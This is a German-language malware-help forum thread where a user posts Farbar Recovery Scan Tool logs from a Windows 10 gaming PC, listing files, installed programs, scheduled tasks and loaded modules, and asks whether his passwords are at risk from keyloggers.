2017-03-30 22:33 - 2017-04-14 02:43 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype

2017-03-30 22:33 - 2017-03-30 22:33 - 00000000 ___RD C:\Program Files (x86)\Skype
 

==================== Ein Monat: Geänderte Dateien und Ordner ========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
 

2017-04-27 06:03 - 2017-03-15 18:53 - 00092096 _____ (Malwarebytes) C:\Windows\system32\Drivers\mwac.sys

2017-04-27 05:53 - 2017-03-20 06:41 - 00933562 _____ C:\Windows\system32\perfh007.dat

2017-04-27 05:53 - 2017-03-20 06:41 - 00202934 _____ C:\Windows\system32\perfc007.dat

2017-04-27 05:47 - 2017-03-09 21:49 - 00000054 _____ C:\Users\Public\Documents\OSCFile.txt

2017-04-27 05:46 - 2017-03-18 13:40 - 00524288 _____ C:\Windows\system32\config\BBI

2017-04-27 05:46 - 2017-03-15 18:53 - 00251832 _____ (Malwarebytes) C:\Windows\system32\Drivers\MBAMSwissArmy.sys

2017-04-27 05:46 - 2017-03-15 18:53 - 00111544 _____ (Malwarebytes) C:\Windows\system32\Drivers\farflt.sys

2017-04-27 05:46 - 2017-03-15 18:53 - 00043968 _____ (Malwarebytes) C:\Windows\system32\Drivers\mbam.sys

2017-04-27 05:46 - 2017-02-16 11:59 - 00000000 ____D C:\Program Files (x86)\Steam

2017-04-26 21:30 - 2017-03-18 23:03 - 00000000 ___HD C:\Program Files\WindowsApps

2017-04-26 21:30 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\AppReadiness

2017-04-25 06:09 - 2017-03-15 18:53 - 00186304 _____ (Malwarebytes) C:\Windows\system32\Drivers\MBAMChameleon.sys

2017-04-24 08:14 - 2017-02-17 09:30 - 00000000 ____D C:\Users\Andy\AppData\Roaming\Hide.me

2017-04-23 02:40 - 2017-02-16 02:30 - 00000000 ____D C:\Program Files (x86)\SpeedFan

2017-04-22 11:13 - 2017-02-16 11:41 - 00000000 ____D C:\Users\Andy\AppData\Local\JDownloader v2.0

2017-04-22 07:53 - 2017-03-04 03:44 - 00000000 ____D C:\Windows\pss

2017-04-22 05:04 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\SysWOW64\Macromed

2017-04-22 05:04 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\system32\Macromed

2017-04-21 03:16 - 2017-02-16 12:06 - 00000000 ____D C:\Users\Andy\AppData\Roaming\vlc

2017-04-21 01:19 - 2017-02-16 11:54 - 00000000 ____D C:\Users\Andy\AppData\Local\Battle.net

2017-04-21 00:10 - 2017-02-20 16:40 - 00000000 ____D C:\Program Files (x86)\Overwatch

2017-04-20 22:39 - 2017-02-15 22:37 - 00000000 ____D C:\Users\Andy\AppData\Local\CrashDumps

2017-04-20 05:37 - 2017-03-18 23:01 - 00000000 ____D C:\Windows\INF

2017-04-17 17:45 - 2017-02-16 11:53 - 00000000 ____D C:\Program Files (x86)\Battle.net

2017-04-17 17:45 - 2017-02-15 22:29 - 00000000 ____D C:\Users\Andy\AppData\Roaming\Skype

2017-04-17 05:01 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\rescache

2017-04-15 04:00 - 2017-02-15 22:32 - 00000000 ____D C:\Program Files\Common Files\logishrd

2017-04-14 08:01 - 2017-03-18 22:51 - 00000000 ____D C:\Windows\CbsTemp

2017-04-14 04:36 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\appcompat

2017-04-14 03:40 - 2017-03-18 23:03 - 00028672 _____ C:\Windows\system32\config\BCD-Template

2017-04-14 03:38 - 2017-03-18 23:06 - 00000000 ____D C:\Windows\Setup

2017-04-14 03:05 - 2017-02-15 22:27 - 00000000 ____D C:\Users\Andy\AppData\Local\Packages

2017-04-14 02:50 - 2017-03-18 23:03 - 00000000 ____D C:\ProgramData\USOPrivate

2017-04-14 02:50 - 2017-02-15 22:29 - 00002380 _____ C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk

2017-04-14 02:50 - 2017-02-15 22:29 - 00000000 ___RD C:\Users\Andy\OneDrive

2017-04-14 02:49 - 2017-03-18 23:03 - 00000000 ___RD C:\Windows\ImmersiveControlPanel

2017-04-14 02:49 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Windows NT

2017-04-14 02:49 - 2017-02-15 22:27 - 00000000 __RHD C:\Users\Public\AccountPictures

2017-04-14 02:48 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\system32\WinBioDatabase

2017-04-14 02:48 - 2017-03-18 13:40 - 00032768 _____ C:\Windows\system32\config\ELAM

2017-04-14 02:47 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\Registration

2017-04-14 02:47 - 2017-03-18 23:03 - 00000000 ____D C:\ProgramData\regid.1991-06.com.microsoft

2017-04-14 02:47 - 2016-07-16 13:47 - 00000000 ____D C:\Windows\system32\Tasks_Migrated

2017-04-14 02:46 - 2017-03-20 06:43 - 00000000 ____D C:\Windows\HoloShell

2017-04-14 02:46 - 2017-03-18 23:03 - 00000000 __RHD C:\Users\Public\Libraries

2017-04-14 02:44 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\system32\FxsTmp

2017-04-14 02:44 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\LiveKernelReports

2017-04-14 02:44 - 2017-03-15 18:53 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes

2017-04-14 02:44 - 2017-03-09 21:32 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\OnScreen Control

2017-04-14 02:44 - 2017-02-22 12:47 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3

2017-04-14 02:44 - 2017-02-20 22:45 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Overwatch

2017-04-14 02:44 - 2017-02-17 13:06 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java

2017-04-14 02:44 - 2017-02-17 13:04 - 00000000 ____D C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Minecraft

2017-04-14 02:44 - 2017-02-17 09:50 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office 2016-Tools

2017-04-14 02:44 - 2017-02-17 09:48 - 00000000 ____D C:\Windows\SHELLNEW

2017-04-14 02:44 - 2017-02-17 09:44 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\DAEMON Tools Ultra

2017-04-14 02:44 - 2017-02-17 09:30 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\hide.me VPN

2017-04-14 02:44 - 2017-02-16 12:07 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CrystalDiskInfo

2017-04-14 02:44 - 2017-02-16 12:06 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN

2017-04-14 02:44 - 2017-02-16 11:59 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Steam

2017-04-14 02:44 - 2017-02-16 11:54 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Battle.net

2017-04-14 02:44 - 2017-02-16 11:42 - 00000000 ____D C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\JDownloader

2017-04-14 02:44 - 2017-02-16 11:02 - 00000000 ____D C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR

2017-04-14 02:44 - 2017-02-16 11:02 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\WinRAR

2017-04-14 02:44 - 2017-02-16 02:30 - 00000000 ____D C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\SpeedFan

2017-04-14 02:44 - 2017-02-15 22:31 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\NVIDIA Corporation

2017-04-14 02:43 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\system32\spool

2017-04-14 02:43 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\system32\NDF

2017-04-14 02:43 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Common Files\System

2017-04-14 02:43 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Common Files\microsoft shared

2017-04-14 02:43 - 2017-03-14 05:12 - 00000000 ____D C:\Windows\system32\appmgmt

2017-04-14 02:43 - 2017-03-14 05:08 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\HP

2017-04-14 02:43 - 2017-03-03 23:33 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CPUID

2017-04-14 02:42 - 2017-03-18 13:40 - 00000000 ____D C:\Windows\system32\Sysprep

2017-04-14 02:42 - 2017-02-15 22:26 - 00000000 ____D C:\Users\defaultuser0\AppData\Local\Packages

2017-04-14 02:41 - 2017-03-18 23:03 - 00000000 ____D C:\Windows\Help

2017-04-13 19:38 - 2017-02-21 12:38 - 00000000 ____D C:\Users\Andy\Documents\Overwatch

2017-04-13 01:30 - 2016-07-16 13:47 - 00000167 _____ C:\Windows\win.ini

2017-04-12 21:45 - 2017-02-16 02:52 - 00000000 ____D C:\Windows\system32\MRT

2017-04-12 21:43 - 2017-02-16 02:52 - 148601744 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe

2017-04-12 18:46 - 2017-03-15 18:53 - 00077440 _____ C:\Windows\system32\Drivers\mbae64.sys

2017-04-09 23:57 - 2017-02-17 09:30 - 00000000 ____D C:\Program Files (x86)\hide.me VPN

2017-04-08 16:12 - 2017-02-16 02:34 - 00532136 _____ (Microsoft Corporation) C:\Windows\system32\MpSigStub.exe

2017-04-06 03:08 - 2017-02-16 11:55 - 00000000 ____D C:\ProgramData\Blizzard Entertainment

2017-04-06 01:18 - 2017-03-04 07:34 - 00000000 ____D C:\Users\Andy\Documents\StarCraft II

2017-04-06 01:18 - 2017-02-16 11:54 - 00000000 ____D C:\Users\Andy\AppData\Local\Blizzard Entertainment

2017-04-03 18:56 - 2017-03-18 23:06 - 00835576 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe

2017-04-03 18:56 - 2017-03-18 23:06 - 00177656 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl

2017-03-30 22:33 - 2017-02-16 11:57 - 00000000 ____D C:\ProgramData\Skype

2017-03-28 05:32 - 2017-03-23 19:29 - 00057792 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvvhci.sys

2017-03-28 05:32 - 2017-02-16 02:27 - 01882048 _____ (NVIDIA Corporation) C:\Windows\system32\nvspcap64.dll

2017-03-28 05:32 - 2017-02-16 02:27 - 01755072 _____ (NVIDIA Corporation) C:\Windows\system32\nvspbridge64.dll

2017-03-28 05:32 - 2017-02-16 02:27 - 01472960 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvspcap.dll

2017-03-28 05:32 - 2017-02-16 02:27 - 01317312 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvspbridge.dll

2017-03-28 05:32 - 2017-02-16 02:27 - 00121280 _____ C:\Windows\system32\NvRtmpStreamer64.dll

2017-03-28 05:32 - 2017-02-16 02:27 - 00047552 _____ (NVIDIA Corporation) C:\Windows\system32\Drivers\nvvad64v.sys
 

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse =======
 

2017-03-14 05:08 - 2017-03-14 05:08 - 0000057 _____ () C:\ProgramData\Ament.ini

2017-04-14 02:41 - 2017-04-14 02:41 - 0000000 ____H () C:\ProgramData\DP45977C.lfl
 

==================== Bamital & volsnap ======================
 

(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)
 

C:\Windows\system32\winlogon.exe => Datei ist digital signiert

C:\Windows\system32\wininit.exe => Datei ist digital signiert

C:\Windows\explorer.exe => Datei ist digital signiert

C:\Windows\SysWOW64\explorer.exe => Datei ist digital signiert

C:\Windows\system32\svchost.exe => Datei ist digital signiert

C:\Windows\SysWOW64\svchost.exe => Datei ist digital signiert

C:\Windows\system32\services.exe => Datei ist digital signiert

C:\Windows\system32\User32.dll => Datei ist digital signiert

C:\Windows\SysWOW64\User32.dll => Datei ist digital signiert

C:\Windows\system32\userinit.exe => Datei ist digital signiert

C:\Windows\SysWOW64\userinit.exe => Datei ist digital signiert

C:\Windows\system32\rpcss.dll => Datei ist digital signiert

C:\Windows\system32\dnsapi.dll => Datei ist digital signiert

C:\Windows\SysWOW64\dnsapi.dll => Datei ist digital signiert

C:\Windows\system32\Drivers\volsnap.sys => Datei ist digital signiert
 

LastRegBack: 2017-04-24 03:33
 

==================== Ende von FRST.txt ============================

Probleme macht der PC eigentlich keine, hat er davor ja auch nicht wirklich, nur positive(oder eher negative?) Scans gemacht. Frage am Rande, da ich momentan sehr eingeschränkt den PC benutze, sind Passwörter derzeit gefährdet (insb. wenn ich sie eingebe, also keylogger ähnlich)?

Hi,

der 2. Teil von FRST (Addition.txt) fehlt noch, den bitte noch nachreichen. Danach gehe ich gerne auf deine Fragen ein :)

warum fehlt? Der ist doch über FRST.txt, der vorletzte CODE.

hier nochmal, sofern du das meintest, habs wohl oben etwas unvorteilhaft formuliert.

Addition.txt:

Code:

Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 26-04-2017

durchgeführt von Andy (27-04-2017 08:56:47)

Gestartet von C:\Users\Andy\Desktop

Windows 10 Pro Version 1703 (X64) (2017-04-14 00:49:09)

Start-Modus: Normal

==========================================================
 
 

==================== Konten: =============================
 

Administrator (S-1-5-21-1446151640-2387740664-487604262-500 - Administrator - Disabled)

Andy (S-1-5-21-1446151640-2387740664-487604262-1001 - Administrator - Enabled) => C:\Users\Andy

DefaultAccount (S-1-5-21-1446151640-2387740664-487604262-503 - Limited - Disabled)

defaultuser0 (S-1-5-21-1446151640-2387740664-487604262-1000 - Limited - Disabled) => C:\Users\defaultuser0

Gast (S-1-5-21-1446151640-2387740664-487604262-501 - Limited - Disabled)
 

==================== Sicherheits-Center ========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)
 

AV: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

AS: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
 

==================== Installierte Programme ======================
 

(Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)
 

Adobe Flash Player 25 PPAPI (HKLM-x32\...\Adobe Flash Player PPAPI) (Version: 25.0.0.148 - Adobe Systems Incorporated)

Ansel (Version: 378.92 - NVIDIA Corporation) Hidden

AutoIt v3.3.14.2 (HKLM-x32\...\AutoItv3) (Version: 3.3.14.2 - AutoIt Team)

Battle.net (HKLM-x32\...\Battle.net) (Version:  - Blizzard Entertainment)

CPUID HWMonitor 1.30 (HKLM\...\CPUID HWMonitor_is1) (Version:  - )

CrystalDiskInfo 7.0.5 (HKLM-x32\...\CrystalDiskInfo_is1) (Version: 7.0.5 - Crystal Dew World)

DAEMON Tools Ultra (HKLM\...\DAEMON Tools Ultra) (Version: 5.0.0.0540 - Disc Soft Ltd)

Diablo II (HKLM-x32\...\Diablo II) (Version: 0.0.0.0 - Blizzard Entertainment)

Diablo III (HKLM-x32\...\Diablo III) (Version:  - Blizzard Entertainment)

Dota 2 (HKLM\...\Steam App 570) (Version:  - Valve)

ESET Online Scanner v3 (HKLM-x32\...\ESET Online Scanner) (Version:  - )

Google Chrome (HKLM-x32\...\Google Chrome) (Version: 58.0.3029.81 - Google Inc.)

Google Update Helper (x32 Version: 1.3.32.7 - Google Inc.) Hidden

Hearthstone (HKLM-x32\...\Hearthstone) (Version:  - Blizzard Entertainment)

Heroes of the Storm (HKLM-x32\...\Heroes of the Storm) (Version:  - Blizzard Entertainment)

hide.me VPN 1.2.12 (HKLM-x32\...\{0E00BDA5-7998-4889-BE4B-39A4BBD2EDFB}_is1) (Version: 1.2.12 - eVenture Limited)

HP ENVY 4520 series - Grundlegende Software für das Gerät (HKLM\...\{AC99F717-0091-4818-920D-C778C9BACA9D}) (Version: 36.0.72.54013 - Hewlett-Packard Co.)

HP Google Drive Plugin (HKLM-x32\...\{1502BB1F-7870-4DC9-9178-65CFE00D070C}) (Version: 36.0.31.53050 - Hewlett-Packard Co.)

Java 8 Update 121 (64-bit) (HKLM\...\{26A24AE4-039D-4CA4-87B4-2F64180121F0}) (Version: 8.0.1210.13 - Oracle Corporation)

Java 8 Update 121 (HKLM-x32\...\{26A24AE4-039D-4CA4-87B4-2F32180121F0}) (Version: 8.0.1210.13 - Oracle Corporation)

JDownloader 2 (HKLM\...\jdownloader2) (Version: 2.0 - AppWork GmbH)

Malwarebytes Anti-Malware versione 2.2.1.1043 (HKLM-x32\...\Malwarebytes Anti-Malware_is1) (Version: 2.2.1.1043 - Malwarebytes)

Malwarebytes Version 3.0.6.1469 (HKLM\...\{35065F43-4BB2-439A-BFF7-0F1014F2E0CD}_is1) (Version: 3.0.6.1469 - Malwarebytes)

Microsoft Office Professional Plus 2016 (HKLM\...\Office16.PROPLUS) (Version: 16.0.4266.1001 - Microsoft Corporation)

Microsoft OneDrive (HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\OneDriveSetup.exe) (Version: 17.3.6816.0313 - Microsoft Corporation)

Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.50906.0 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)

Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)

Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)

Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.21005 (HKLM-x32\...\{7f51bdb9-ee21-49ee-94d6-90afc321780e}) (Version: 12.0.21005.1 - Microsoft Corporation)

Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.21005 (HKLM-x32\...\{ce085a78-074e-4823-8dc1-8a721b94b76d}) (Version: 12.0.21005.1 - Microsoft Corporation)

Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.23918 (HKLM-x32\...\{dab68466-3a7d-41a8-a5cf-415e3ff8ef71}) (Version: 14.0.23918.0 - Microsoft Corporation)

Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.23918 (HKLM-x32\...\{2e085fd2-a3e4-4b39-8e10-6b8d35f55244}) (Version: 14.0.23918.0 - Microsoft Corporation)

Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215 (HKLM-x32\...\{e2803110-78b3-4664-a479-3611a381656a}) (Version: 14.0.24215.1 - Microsoft Corporation)

Minecraft1.9 (HKLM-x32\...\Minecraft1.9) (Version:  - )

NVIDIA 3D Vision Controller-Treiber 369.04 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.NVIRUSB) (Version: 369.04 - NVIDIA Corporation)

NVIDIA 3D Vision Treiber 378.92 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.3DVision) (Version: 378.92 - NVIDIA Corporation)

NVIDIA GeForce Experience 3.5.0.70 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.GFExperience) (Version: 3.5.0.70 - NVIDIA Corporation)

NVIDIA Grafiktreiber 378.92 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Driver) (Version: 378.92 - NVIDIA Corporation)

NVIDIA HD-Audiotreiber 1.3.34.23 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_HDAudio.Driver) (Version: 1.3.34.23 - NVIDIA Corporation)

NVIDIA PhysX-Systemsoftware 9.16.0318 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.PhysX) (Version: 9.16.0318 - NVIDIA Corporation)

NvNodejs (Version: 3.5.0.70 - NVIDIA Corporation) Hidden

NvTelemetry (Version: 2.4.5.0 - NVIDIA Corporation) Hidden

NvvHci (Version: 2.02.0.5 - NVIDIA Corporation) Hidden

OnScreen Control (HKLM-x32\...\{E5C1B339-0E4E-49A5-859E-5E1DE1938706}) (Version: 1.39 - LG Electronics Inc)

Outils de vérification linguistique 2016 de Microsoft Office*- Français (Version: 16.0.4266.1001 - Microsoft Corporation) Hidden

Overwatch (HKLM-x32\...\Overwatch) (Version:  - Blizzard Entertainment)

Razer Chroma SDK Core Components (HKLM-x32\...\Razer Chroma SDK) (Version: 1.14.7 - Razer Inc.)

Razer Synapse (HKLM-x32\...\{0D78BEE2-F8FF-4498-AF1A-3FF81CED8AC6}) (Version: 2.20.17.302 - Razer Inc.)

Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.7848 - Realtek Semiconductor Corp.)

resident evil 4 / biohazard 4 (HKLM\...\Steam App 254700) (Version:  - Capcom)

SHIELD Streaming (Version: 7.1.0360 - NVIDIA Corporation) Hidden

SHIELD Wireless Controller Driver (Version: 3.5.0.70 - NVIDIA Corporation) Hidden

Shovel Knight (HKLM-x32\...\1207664823_is1) (Version: 2.0.0.5 - GOG.com)

Skype™ 7.33 (HKLM-x32\...\{3B7E914A-93D5-4A29-92BB-AF8C3F66C431}) (Version: 7.33.105 - Skype Technologies S.A.)

SpeedFan (remove only) (HKLM-x32\...\SpeedFan) (Version:  - )

StarCraft II (HKLM-x32\...\StarCraft II) (Version:  - Blizzard Entertainment)

Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation)

Strumenti di correzione di Microsoft Office 2016 - Italiano (Version: 16.0.4266.1001 - Microsoft Corporation) Hidden

Update for Skype for Business 2016 (KB3178717) 64-Bit Edition (HKLM\...\{90160000-0011-0000-1000-0000000FF1CE}_Office16.PROPLUS_{45503767-F19E-4421-B930-8B0004ACA804}) (Version:  - Microsoft)

Update for Skype for Business 2016 (KB3178717) 64-Bit Edition (HKLM\...\{90160000-012B-0407-1000-0000000FF1CE}_Office16.PROPLUS_{45503767-F19E-4421-B930-8B0004ACA804}) (Version:  - Microsoft)

VLC media player (HKLM-x32\...\VLC media player) (Version: 2.2.4 - VideoLAN)

Vulkan Run Time Libraries 1.0.39.1 (HKLM\...\VulkanRT1.0.39.1) (Version: 1.0.39.1 - LunarG, Inc.)

Windows 10 Update and Privacy Settings (HKLM\...\{293F2009-0145-450B-B4AA-063D43FB368C}) (Version: 1.0.13.0 - Microsoft Corporation)

WinRAR 5.40 (64-Bit) (HKLM\...\WinRAR archiver) (Version: 5.40.0 - win.rar GmbH)

World of Warcraft (HKLM-x32\...\World of Warcraft) (Version:  - Blizzard Entertainment)
 

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 
 

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

Task: {152E5D51-00AA-46BA-860A-E25C2EB3A14A} - System32\Tasks\Adobe Flash Player PPAPI Notifier => C:\Windows\SysWOW64\Macromed\Flash\FlashUtil32_25_0_0_148_pepper.exe [2017-04-22] (Adobe Systems Incorporated)

Task: {20FCF163-FE9B-4D38-AE7C-72BE70DDE7A8} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-04-22] (Google Inc.)

Task: {2EDA172E-7F18-4A89-B766-59CF7F12DC92} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-04-22] (Google Inc.)

Task: {31A706B3-3F75-4EBC-BC6B-153C24C7F6B2} - System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [2017-03-28] (NVIDIA Corporation)

Task: {4D5DB8DA-F4C6-4FBD-994D-966D95FA3E25} - System32\Tasks\NvTmRepOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmRep.exe [2017-03-28] (NVIDIA Corporation)

Task: {620D1BF5-BA88-4BB2-B87B-0B89DB524599} - System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\NvNode\nvnodejslauncher.exe [2017-03-28] (NVIDIA Corporation)

Task: {806EB92E-F18E-4C15-B634-928C20ADCF4E} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentLogOn2016 => C:\Program Files\Microsoft Office\Office16\msoia.exe [2015-07-31] (Microsoft Corporation)

Task: {84BCFF99-883C-410B-A883-5707CA13A572} - System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-03-28] (NVIDIA Corporation)

Task: {91D480AD-8E90-4DAB-83E0-29D462EA8F3E} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentFallBack2016 => C:\Program Files\Microsoft Office\Office16\msoia.exe [2015-07-31] (Microsoft Corporation)

Task: {BC7F9A94-3626-41DE-A5AE-38E2B20773E9} - System32\Tasks\Microsoft\Office\Office 15 Subscription Heartbeat => C:\Program Files\Common Files\Microsoft Shared\Office16\OLicenseHeartbeat.exe [2015-07-31] (Microsoft Corporation)

Task: {C0B0CC45-769A-47D5-A872-0ADC5D73E6CA} - System32\Tasks\NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmMon.exe [2017-03-28] (NVIDIA Corporation)

Task: {CA8A9A0E-746F-454B-9419-1BCB3A146E8A} - System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-03-28] (NVIDIA Corporation)

Task: {F026B1C0-323C-4E3D-A09E-0F3DB2286A37} - System32\Tasks\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmRep.exe [2017-03-28] (NVIDIA Corporation)
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)
 
 

==================== Verknüpfungen =============================
 

(Die Einträge können gelistet werden, um sie zurückzusetzen oder zu entfernen.)
 

Shortcut: C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Minecraft\Minecraft Debugger.lnk -> C:\Users\Andy\AppData\Roaming\.minecraft\minecraft launcher\Debug.bat ()
 

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============
 

2017-04-14 02:41 - 2017-03-17 01:16 - 00133056 _____ () C:\Program Files\NVIDIA Corporation\Display\NvSmartMax64.dll

2017-02-16 08:09 - 2015-05-08 14:26 - 00936728 _____ () C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe

2017-02-16 08:10 - 2014-04-24 14:29 - 01360016 _____ () C:\Program Files (x86)\ASUS\AsSysCtrlService\1.00.22\AsSysCtrlService.exe

2017-03-15 18:53 - 2017-04-12 18:46 - 02271520 _____ () C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\PoliciesControllerImpl.dll

2017-03-15 18:53 - 2017-04-12 18:46 - 02267600 _____ () C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\MwacLib.dll

2017-02-16 02:27 - 2017-03-28 05:32 - 01147328 _____ () C:\Program Files\NVIDIA Corporation\NvContainer\libprotobuf.dll

2016-09-25 01:20 - 2016-09-25 01:21 - 00189264 _____ () C:\Program Files (x86)\Razer\Razer Services\GSS\GameScannerService.exe

2017-03-09 21:46 - 2015-12-14 18:35 - 00065024 _____ () C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\ScreenSplitterHook64.dll

2017-03-18 22:58 - 2017-03-18 22:58 - 00138000 _____ () C:\Windows\SYSTEM32\inputhost.dll

2017-03-18 22:59 - 2017-03-20 06:43 - 01731072 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.Core.dll

2017-03-28 15:06 - 2017-03-28 15:06 - 01668976 _____ () C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.17022.10311.0_x64__8wekyb3d8bbwe\Microsoft.UI.Xaml.dll

